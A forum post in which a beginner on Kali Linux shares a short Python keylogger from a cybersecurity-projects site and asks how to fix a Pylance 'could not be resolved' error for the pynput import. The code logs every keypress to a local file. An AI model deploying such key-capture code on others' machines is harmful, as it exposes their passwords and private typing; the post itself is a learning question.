Mar-24-2024, 01:16 AM
Hi everyone.
I found a website with some basic projects from Cybersecurity. The first one is a keylogger. I'm using the following code:
My OS is Kali Linux. when I run this code it shows the following problem:
Thank you
I found a website with some basic projects from Cybersecurity. The first one is a keylogger. I'm using the following code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
from pynput import keyboard def keyPressed(key): print ( str (key)) with open ( "keyfile.txt" , 'a' ) as logKey: try : char = key.char logKey.write(char) except : print ( "Error getting char" ) if __name__ = = "__main__" : listener = keyboard.Listener(on_press = keyPressed) listener.start() input () |
Output:Import "pynput" could not be resolved from source Pylance(reportMissingImports) [Ln 1, Col 6)
Import "pynput.keyboard" could not be resolved from source Pylance(reportMissingImports) [Ln 1, Col 20)
Any idea how can I fix this?Thank you